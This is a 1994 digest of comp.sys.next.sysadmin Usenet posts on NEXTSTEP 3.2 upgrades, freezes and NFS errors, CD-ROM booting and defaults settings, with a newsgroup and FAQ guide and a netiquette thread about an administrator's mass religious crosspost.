References: <2ibiil$p6j@bilbo.suite.com>
Organization: Suite Software
In article <2ibiil$p6j@bilbo.suite.com> Mark-Tarbell@suite.com writes:
> Could someone please comment on whether the following rumors are true?
> The following pertain to black hardware.
>
> 1. I have heard that it is possible to upgrade directly to NS3.2 from
> NS3.0 (without going through the NS3.1 upgrade step). True?
>
> 2. I have also heard that it is NOT possible to upgrade NS3.0J at all!
> NS3.0J is the Japanese-environment version of NEXTSTEP. This would
> mean I would have to reinstall NS3.0 from scratch, and then proceed,
> or wait until NS3.2J comes out. True?
>
> Thanks for your input.
> Mark-Tarbell@suite.com
> ep). True?
>
> 2. I have also heard that it is NOT possible to upgrade NS3.0J at all!
> NS3.0J is the Japanese-environment version of NEXTSTEP. This
Hi mark,
I know for a fact that you can upgrade directly from 3.0 to 3.2,
for that matter 2.0 to 3.2 worked... Don';t know anything about the 'J'
versions...
Scot
From: sands@orion.cc.andrews.edu (William C. Sands Jr.)
Newsgroups: comp.sys.next.sysadmin
Subject: Discipline Question
Date: 29 Jan 1994 19:45:39 -0500
Organization: Andrews University, Berrien Springs, MI, 49104
Distribution: world
Message-ID: <2ievvj$dfb@orion.cc.andrews.edu>
Help educate me about Internet etiquette . . .
If you had an administrator who sent an unrelated, religious message to
more than 1,000 groups and lists without clearing it with anyone else,
what discipline would be appropriate??
This actually happened, so I am trying to understand what appropriate action
should face the person doing something like this...
The post was more than 100 lines long and included the text of the
10 commandments from Exodus 20.
What kind of responses would such a post generate?
Thanks, in advance, for whatever insight you are willing and able to give
to a novice user of Internet/Usenet.
Bill Sands, Jr.
sands@orion.cc.andrews.edu
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The opinions expressed in this post are personal opinions and do NOT represent
the views or teachings of Andrews University or the Seventh-day Adventist Church
which sponsors the institution. Any comments about medical problems are the
personal opinions of the author. Never institute any change in medical routine
without first consulting with your health care professional. (01-20-94)
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From: smb3u@kiptron.psyc.virginia.edu (Steven M. Boker)
Subject: Re: NS 3.2 Motorola freezing up! HELP!
Message-ID: <CKEw48.Mv3@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia, Department of Psychology
References: <2i8hc0$khi@netnews.upenn.edu>
Date: Sat, 29 Jan 1994 22:07:20 GMT
In article <2i8hc0$khi@netnews.upenn.edu> arzt@dccs.upenn.edu (Noam H. Arzt) writes:
>Ever since I upgraded to NS 3.2 on my 25mHz NeXTstation I have been
>experienceing COMPLETE freeze-ups. BY that I mean no system panic, but complete
>loss of keyboard response including CMD-CMD-~. I need to unplug and start
>again. It may be unrelated to the upgrade, but I'm not sure. It's happened 3
>times in the past 2 days, but the machine was fine for at least 5 days just
>after the upgrade (which I did last week).
>
Well, I can't say that I know what's wrong. But I can say that we have
been having the same sort of trouble with some of our black hardware
since the 3.2 upgrade. One machine freezes on the order of once a day.
Others freeze an average of twice a week. We get no diagnostic messages,
nothing out of the ordinary has been occurring on the machines. Before
the upgrade our machines would have average uptimes measured in months.
Now we can count the uptime in days on one hand.
I have installed every upgrade that NeXT has provided since 0.8->0.9,
and this is the first time I've considered changing back. I'm supporting
a network of 12 machines and quite a number of users here, and I'm
in a pretty bad position when our network server decides to regularly
freeze.
Until this is cleared up, I'm one unhappy camper. If anyone has a clue
about what might be going on, please email me. If I can figure it out,
I'll post.
Another poster suggested that it might be an NFS problem. This is
certainly a candidate from our position. We are fairly heavy users
of NFS, with cross-mounts within the NeXT cluster and mounts out to
several RS6000's. Although the NFS is pretty unforgiving when one
of the RS6000's goes down, it is a clear winner in terms of convenience
for our users.
Once again, I've seen nothing like this phenomenon until I upgraded
to 3.2. If I had it to do again, I would not have done so.
Steve Boker
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From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Booting from a CD
Message-ID: <1994Jan29.212902.24376@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <ghG0to200iMFEJe0Qt@andrew.cmu.edu>
Date: Sat, 29 Jan 1994 21:29:02 GMT
Unfortunately, you can only boot from CD-ROM into single user mode to
install the OS. To do that you'll need to first boot with the
special floppy that came with NEXTSTEP.
If you need to repair your filesystem, I suggest booting from the
floppy and then mounting the CD-ROM to copy any files.
Disclaimer: It's possible that there's a way to boot multi-user
using the CD-ROM but I haven't seen it.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <ghG0to200iMFEJe0Qt@andrew.cmu.edu> "Jeremy G. Mereness"
<zonker+@CMU.EDU> writes:
>
> This is something for an FAQ, but I haven't found it.
>
> How does one boot a NeXT computer from a cdrom drive? It seems to
work
> if the machine is a Turbo, but non-Turbo machines never seem to see
the
> cdrom on the SCSI chain, even with explicit commands like..
>
> b sd(1,0,0)sdmach rootdev=sd1
>
> the cdrom won't even spin, and the machine comes back saying the
drive
> isn't there.
>
> Is there some command that reliably boots a generic NeXT computer
(or
> cube) from an external cdrom?
>
> Thanks in Advance!
>
>
>
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From: mohenly@malahat.library.uvic.ca (Michael O'Henly)
Subject: Re: Discipline Question
Message-ID: <1994Jan30.032417.16541@sol.UVic.CA>
Sender: news@sol.UVic.CA
Organization: University of Victoria
References: <2ievvj$dfb@orion.cc.andrews.edu>
Date: Sun, 30 Jan 94 03:24:17 GMT
In article <2ievvj$dfb@orion.cc.andrews.edu>,
William C. Sands Jr. <sands@orion.cc.andrews.edu> wrote:
>If you had an administrator who sent an unrelated, religious message to
>more than 1,000 groups and lists without clearing it with anyone else,
>what discipline would be appropriate??
No need to be hypothetical. In terms of usenet, that post was
about as, uh, "noted" as the LA earthquake.
>This actually happened, so I am trying to understand what appropriate action
>should face the person doing something like this...
If you mean, "What usally happens to people who abuse their net
privileges?", cancelling their access is popular.
>The post was more than 100 lines long and included the text of the
>10 commandments from Exodus 20.
>What kind of responses would such a post generate?
I would say the reaction was fairly uniformly negative.(The system
administrator at your site can probably vouch for that.) Some of the
responses I read expressed...
1. ...irritation at the utter disregard for subject matter of the
groups it was posted in. You can pretty much say whatever you want
on Usenet -- with an audience this size, ANYthing you say is
guaranteed to offend at least SOMEone and many people see this
as a personal challenge -- but there _is_ a widely-observed
attempt to keep newsgroups subject-specific.
2. ...dismay with the wacko content of the message. Opinions that
appall are the stock in trade here. The only real problem in this
case is that so MANY people felt moved to respond. It would be
interesting to estimate how much $$$ was spent providing the
original post and the torrent of followups to every little
net.nook.and.cranny.
3. ...extreme irritation at the calculated manner of posting. It was
clear that the perpetrator knew enough about news mechanics to
make sure his article had the maximum impact. By posting it
individually (via script?) to each newsgroup, he made it more
difficult to cancel and ensured the greatest volume of followups.
>Thanks, in advance, for whatever insight you are willing and able to give
>to a novice user of Internet/Usenet.
Well, I think it's interesting that you're asking about this. So
many new people are coming onto the net that conventions about how
you're supposed to behave are getting challenged all the time.
Personally, I wasn't that upset by this incident. It was amusing
-- some of the followups were hilarious. It was also instructive, in
the sense that it caused many of us to stop and reflect (again) on the
amazing power the net provides. (I was equally impressed by the speed
with which somebody somewhere decided what we shouldn't be reading and
cancelled the article in all those newsgroups.)
Michael
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From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS 3.2 Motorola freezing up! HELP!
Date: 30 Jan 1994 06:06:16 GMT
Organization: Center for Computer Music Research and Composition, U.C.S.B.
Message-ID: <2ifioo$huv@hub.ucsb.edu>
References: <2i8hc0$khi@netnews.upenn.edu> <CKEw48.Mv3@murdoch.acc.virginia.edu>
In article <CKEw48.Mv3@murdoch.acc.virginia.edu> smb3u@kiptron.psyc.virginia.edu (Steven M. Boker) writes:
]
]In article <2i8hc0$khi@netnews.upenn.edu> arzt@dccs.upenn.edu (Noam H. Arzt) writes:
]>Ever since I upgraded to NS 3.2 on my 25mHz NeXTstation I have been
]>experienceing COMPLETE freeze-ups. BY that I mean no system panic, but complete
]>loss of keyboard response including CMD-CMD-~. I need to unplug and start
]>again. It may be unrelated to the upgrade, but I'm not sure. It's happened 3
]>times in the past 2 days, but the machine was fine for at least 5 days just
]>after the upgrade (which I did last week).
]>
]
]Well, I can't say that I know what's wrong. But I can say that we have
]been having the same sort of trouble with some of our black hardware
]since the 3.2 upgrade. One machine freezes on the order of once a day.
[ some text deleted ]
]
]Another poster suggested that it might be an NFS problem. This is
]certainly a candidate from our position. We are fairly heavy users
]of NFS, with cross-mounts within the NeXT cluster and mounts out to
[ more deleted ]
Regarding NFS: I have noticed the following errors in the 3 days since I
upgraded our machines to 3.2:
Jan 29 14:54:46 foxtrot mach: nfs_server: bad sendreply from 128.111.92.32
Jan 29 14:54:49 foxtrot mach: nfs_server: bad sendreply from 128.111.92.32
The machine whose IP is listed is not the server, but the error showed up on
the server. I never got these kind of messages before 3.2. I have been
fortunate and have not (yet) had any freezes.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS 3.2 Motorola freezing up! HELP!
Date: 30 Jan 1994 08:07:33 GMT
Organization: University of Illinois at Urbana
Message-ID: <2ifps5$npn@vixen.cso.uiuc.edu>
References: <2i8hc0$khi@netnews.upenn.edu> <CKEw48.Mv3@murdoch.acc.virginia.edu> <2ifioo$huv@hub.ucsb.edu>
doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) writes:
>Regarding NFS: I have noticed the following errors in the 3 days since I
>upgraded our machines to 3.2:
>Jan 29 14:54:46 foxtrot mach: nfs_server: bad sendreply from 128.111.92.32
>Jan 29 14:54:49 foxtrot mach: nfs_server: bad sendreply from 128.111.92.32
>The machine whose IP is listed is not the server, but the error showed up on
>the server. I never got these kind of messages before 3.2. I have been
>fortunate and have not (yet) had any freezes.
I have gotten tons of such messages since 3.0. They usually come in
spurts, with bad sendreply's from many of the clients at once. This
is on servers that serve up to 90 machines at once. The clients do
sometimes say "nfs server <whatever> not responding" but this is not
very often. (perhaps it coincides with the error messages?)
If anyone can explain exactly what these messages are, I'd be
interested.
--
David Lemson (217) 244-1205
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: fusiong@STD.Teradyne.COM (fusiong mail)
Newsgroups: comp.sys.next.sysadmin
Subject: Using a Sun tape drive on a NeXT
Date: 30 Jan 1994 03:13:42 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401300920.AA00913@std.teradyne.com>
I have a Sun QIC 150 tape drive that I'd like to connect to
a NeXT. I understand there's a FAQ that tells exactly how to
do it. The tapes I need to read were created with
tar -cvbf 126 /dev/rst0.
I've looked for the FAQ but can't find it. Does someone know
how to do it (exactly) or can someone send the FAQ?
Thanks
John
reply to: fusiong@std.teradyne.com
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Discipline Question
Date: 30 Jan 1994 13:36:09 GMT
Organization: University of Maryland, College Park
Message-ID: <2igd49$7vt@cville-srv.wam.umd.edu>
References: <2ievvj$dfb@orion.cc.andrews.edu>
In article <2ievvj$dfb@orion.cc.andrews.edu>,
William C. Sands Jr. <sands@orion.cc.andrews.edu> wrote:
>Help educate me about Internet etiquette . . .
>
>If you had an administrator who sent an unrelated, religious message to
>more than 1,000 groups and lists without clearing it with anyone else,
>what discipline would be appropriate??
>
>This actually happened, so I am trying to understand what appropriate action
>should face the person doing something like this...
>
>The post was more than 100 lines long and included the text of the
>10 commandments from Exodus 20.
>
>What kind of responses would such a post generate?
>
>Thanks, in advance, for whatever insight you are willing and able to give
>to a novice user of Internet/Usenet.
>
>Bill Sands, Jr.
>sands@orion.cc.andrews.edu
>
Have him read various "net etiquette" sections of Internet
guides. If he persists on cross-posting fire him. He can then
cross post (and break net etiquette) from his own
account, on his own time.
The administrator in question clearly doesn't
know enough about bandwidth usage and etiquette to
hold his position, but I'm for pardon.
RKD
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Rumors of Upgrading from 3.0 to 3.2
Date: 30 Jan 1994 15:42:28 +0100
Organization: University of Bergen
Message-ID: <2igh0k$mfj@alf.uib.no>
References: <2ibiil$p6j@bilbo.suite.com> <2ibjlg$pha@bilbo.suite.com>
I have upgraded from 3.0J to 3.2, without problem. I of course lost
all Japanese possibility (can't even view Kanji documents - even
though I left _all_ the Japanese components/fonts/libs intact from
3.0J when I upgraded :-( and think I'll downgrade soon. 3.2 offers
no real benefits compared with losing the J environment (for me :-)
Well, the new Xox was really nice, thats a good reason to have 3.2 :-)
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress)
Newsgroups: comp.sys.next.sysadmin
Subject: Help! Can't talk...
Date: 30 Jan 1994 19:15:58 GMT
Organization: University of Illinois at Urbana
Message-ID: <2ih11e$4uc@vixen.cso.uiuc.edu>
Keywords: talk, NeXT
when I try to "talk" from my NeXT I get:
[Couldn't bind to control socket : Can't assign requested address (49)]
does anyone know what this msg wants to tell me? And how I can
do the binding thing?
Thanks,
--
Gottfried Mayer-Kress
Center for Complex Systems Research, Department of Physics
3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801
gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail)
gmk@goshawk.lanl.gov, gmk@santafe.edu
(217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: ScreenSaver in NS 3.1/3.2
Message-ID: <1994Jan29.110714.26011@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <2i6tct$el3@nntp2.Stanford.EDU>
Date: Sat, 29 Jan 1994 11:07:14 GMT
In article <2i6tct$el3@nntp2.Stanford.EDU> takken@raven.Stanford.EDU (Todd
Takken) writes:
> In article <CK7nCq.JHM@usenet.ucs.indiana.edu>
> baker@keeper.journalism.indiana.edu (Don Baker) writes:
>
> > Can anyone clue me in on how to change the default delay on the
> loginwindow
> > ScreenSaver?>
> "dwrite loginwindow TimeToDim <seconds>"
>
In the same line do you know how to change the brightness the screen savers
goes to after the delay? I want to make the screen really dark to really save
it.
Thanks in advance.
Serge
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: Does tip still work under 3.2
Message-ID: <1994Jan29.111403.26067@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <CKAK1q.J02@netnews.jhuapl.edu>
Date: Sat, 29 Jan 1994 11:14:03 GMT
In article <CKAK1q.J02@netnews.jhuapl.edu> jds@aplexus.jhuapl.edu (John D
Stanhope) writes:
> I recently upgraded to NS/i 3.2 and now I can no longer
> reliably transfer files under tip.
...
> PS. Please respond through email as are news feed is sometimes
> unreliable.
I don't quite agree with your last request, because now you have raised the
question we may all be interested in the answer (I am anyway).
I think a news group should not only be a way of getting information, but of
sharing it as well.
Thanks
Serge
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Where are the FAQ?
Message-ID: <1994Jan29.111647.26129@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
Date: Sat, 29 Jan 1994 11:16:47 GMT
There was a group were the FAQ (frequently asked questions) were posted all
together in one single article every week, but I can find it any more. Can you
remain me were it is?
Thanks
Serge
From: spagiola@frinext.stanford.edu (Stefano Pagiola)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Where are the FAQ?
Date: 30 Jan 1994 21:23:16 GMT
Organization: Stanford University
Message-ID: <2ih8g4$o1s@nntp2.Stanford.EDU>
References: <1994Jan29.111647.26129@rdbois.uucp>
serge_ruby writes
> There was a group were the FAQ (frequently asked questions) were
> posted all together in one single article every week, but I can
> find it any more. Can you remain me were it is?
comp.sys.next.announce. I think they're more like every other week,
and they've long since outgrown the "single article" size.
Ciao, Stefano
---
Stefano Pagiola
Food Research Institute, Stanford University, Stanford CA 94305-6084
Tel 415-725-0939, Fax 415-725-7007
Email spagiola@leland.stanford.edu (NeXTMail encouraged)
From: sands@orion.cc.andrews.edu (William C. Sands Jr.)
Newsgroups: comp.sys.next.sysadmin
Subject: Discipline Question--Details
Date: 30 Jan 1994 18:25:05 -0500
Organization: Andrews University, Berrien Springs, MI, 49104
Distribution: world
Message-ID: <2ihfkh$o4j@orion.cc.andrews.edu>
To: Network Administrators
From: Bill Sands, Jr.
sands@orion.cc.andrews.edu
Re: Discipline Question (Global Alert posting)
Date: Sunday, January 30, 1994
This is an attempt to clarify some of the details of the Discipline Question
which I posted recently regarding a religious message posted by one of the
system administrators at Andrews University.
The following points are important:
1. I am not on the staff or faculty of Andrews Univ. I am a grad with a
B.Tech. 1990, and am interested in anything which affects the reputation of the university.
2. The posted message was sent to more than 1100 lists and groups without
prior consultation with any others.
3. The university has already imposed phase one of the discipline by
suspending the poster for a week, apparently without pay.
4. The poster's real name was used. Clarence L. Thomas IV (the fourth)
is his real name. It is not a pseudonym mocking the Supreme Court
Justice.
5. I am new to networking (less than a month) and I need to know where
a user can get reliable info about Internet/Usenet/Bitnet and what
constitutes good manners on the nets re posting.
6. If you know, can you enlighten me about how the Internet is funded.
There have been many reply posts which refer to the cost forced on
users. How does a post get paid for? What would a 100-line post to
1100 lists cost overall???
7. I am trying to learn enough about the network so that I can be in a
position to voice an educated opinion if additional discipline is
suggested against Mr. Thomas, whom I consider to be an educated,
skilled, and talented person.
Thanks, if you were one of the administrators who answered with a suggestion
that I cut my disclaimer to four lines. You will note that I have taken your
excellent advice.
Bill Sands, Jr.
=================================DISCLAIMER=====================================
The opinions expressed in this post are personal opinions and do NOT represent
the views or teachings of Andrews University or the Seventh-day Adventist Church
which sponsors the institution.
====William Clyde Sands, Jr. internet email sands@orion.cc.andrews.edu========
From: sands@orion.cc.andrews.edu (William C. Sands Jr.)
Newsgroups: comp.sys.next.sysadmin
Subject: Correction to Discipline Question
Date: 30 Jan 1994 20:17:58 -0500
Organization: Andrews University, Berrien Springs, MI, 49104
Distribution: world
Message-ID: <2ihm86$p6t@orion.cc.andrews.edu>
I have been advised that I misunderstood the discipline meted out to
Clarence L. Thomas IV.
His discipline at this point is to be suspended from work for a week,
but WITH pay.
Bill Sands, Jr.
=================================DISCLAIMER=====================================
The opinions expressed in this post are personal opinions and do NOT represent
the views or teachings of Andrews University or the Seventh-day Adventist Church
which sponsors the institution.
====William Clyde Sands, Jr. internet email sands@orion.cc.andrews.edu========
From: markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP for NS/FIP
Date: 31 Jan 1994 01:46:15 GMT
Organization: University of California, at Berkeley
Message-ID: <2ihnt7$bav@agate.berkeley.edu>
Hi all,
I want to run SLIP or CSLIP on my NS intel box. How do I do this? What
software is needed?
Any help would be very appreciated.
Thanks,
Mark Frohnmayer
markf@cory.berkeley.edu
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Booting from a CD
Date: 31 Jan 1994 01:58:18 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2ihojq$bjq@agate.berkeley.edu>
References: <1994Jan29.212902.24376@hot.com>
In article <1994Jan29.212902.24376@hot.com> Robert La Ferla <Robert_La_Ferla@hot.com> writes:
>Unfortunately, you can only boot from CD-ROM into single user mode to
>install the OS. To do that you'll need to first boot with the
>special floppy that came with NEXTSTEP.
Hmm,
I was always able to boot from CDROM into single user mode without
booting first with floppy by using SCSI ID (target) = 0 to initialize
and rebuild system from scratch.
These are on non-turbo NeXTcubes (upgraded from 030 to 25MHz 040)
and old NeXTstations (25MHz). The cubes don't even have any
floppy drive.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Where are the FAQ?
Date: 30 Jan 1994 22:24:30 -0500
Organization: Digital Fix Development
Distribution: world
Message-ID: <2ihtle$ig4@digifix.digifix.com>
References: <2ih8g4$o1s@nntp2.Stanford.EDU>
Stefano Pagiola writes
> serge_ruby writes
> > There was a group were the FAQ (frequently asked questions) were
> > posted all together in one single article every week, but I can
> > find it any more. Can you remain me were it is?
>
> comp.sys.next.announce. I think they're more like every other week,
> and they've long since outgrown the "single article" size.
>
Just to clarify what Stefano said.
Yes they are posted to comp.sys.next.announce... but not regularly. In
addition, they are out of date.
The person who maintains the FAQ is Nathan Janette...
nathan@jacobi.biology.YALE.EDU.
--
- Scott Anguish -
sanguish@digifix.com (NextMail)
next-announce@digifix.com (comp.sys.next.announce submissions)
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 30 Jan 1994 22:27:59 -0500
Organization: Next Announcements
Message-ID: <2ihtrv$ihb@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
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Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
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This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
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Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
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Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
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Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
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(ignoring capitalization)
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sent as ASCII text files:
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SEARCH NetInfo domain
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please send mail to NeXTanswers-request@NeXT.com.
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follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
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To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: pat%cesar@cam.org (Patrique Lalonde)
Subject: Restricting access
Message-ID: <1994Jan31.000556.1985@cesar.uucp>
Sender: pat@cesar.uucp
Date: Mon, 31 Jan 1994 00:05:56 GMT
Hello all,
I have friends who dial into my NeXT from the outside into their accounts.
How can I force them to stay in their home accounts so that they cannot
see or cd into another directory?
Please reply via e-mail I dont always have the time to read the usenet
news.
Thanks in advance.
Patrique
---
Patrique Lalonde
pat%cesar@cam.org
Newsgroups: comp.sys.next.sysadmin
From: bisbey@loretta.la.ca.us (Richard Bisbey II)
Subject: Default printer resolution in NS 3.2
Message-ID: <1994Jan31.032406.543@loretta.la.ca.us>
Organization: ---
Date: Mon, 31 Jan 1994 03:24:06 GMT
In NS 2.2a, printer resolution was stored in the defaults database:
dwrite System PrinterResolution "300 dpi"
or
dwrite System PrinterResolution "400 dpi"
and the printer defaulted to the last resolution used. In NS 3.2, printer
resolution always defaults to 400 dpi.
If you regularly print at 300 dpi to extend the life of the toner cartridge,
it's a nuisance to have to change the printer resolution every time you print.
Is there a new default for printer resolution?
From: garth@cs.swarthmore.edu (Garth Snyder)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Booting from a CD
Message-ID: <2ii57m$65d@larch.cc.swarthmore.edu>
Date: 31 Jan 94 05:33:42 GMT
References: <ghG0to200iMFEJe0Qt@andrew.cmu.edu>
Organization: Swarthmore College, Swarthmore, PA, USA
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
"Jeremy G. Mereness" <zonker+@CMU.EDU> writes:
> How does one boot a NeXT computer from a cdrom drive? It seems to work
> if the machine is a Turbo, but non-Turbo machines never seem to see the
> cdrom on the SCSI chain, even with explicit commands like..
>
> b sd(1,0,0)sdmach rootdev=sd1
ROMs prior to the Turbo explicitly rule out CD-ROM drives as boot devices.
To boot off the CD-ROM on an earlier machine, you have to use the helper
floppy. Any arguments you pass to the boot block on the helper floppy are
propagated to the kernel once it has been loaded from the CD-ROM.
In short, I believe all you have to do is:
o Insert the helper floppy.
o Insert the CD-ROM.
o Type "bfd -s".
It has been a while since I did this, so these instructions may not be
exactly right. Also, this is 2.X-era information and the 3.X boot
blocks may work differently.
Garth
Newsgroups: comp.sys.next.sysadmin
From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: Where are the FAQ?
Message-ID: <1994Jan31.070848.20581@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
References: <2ihtle$ig4@digifix.digifix.com>
Date: Mon, 31 Jan 1994 07:08:48 GMT
In article <2ihtle$ig4@digifix.digifix.com> sanguish@digifix.com (Scott
Anguish) writes:
> Yes they are posted to comp.sys.next.announce... but not regularly. In
> addition, they are out of date.
They will always be out of date. Please send suggestions for
updates to my email address below...
The FAQs will be posted this week.
> The person who maintains the FAQ is Nathan Janette...
> nathan@jacobi.biology.YALE.EDU.
A better address is: nathan@laplace.csb.yale.edu.
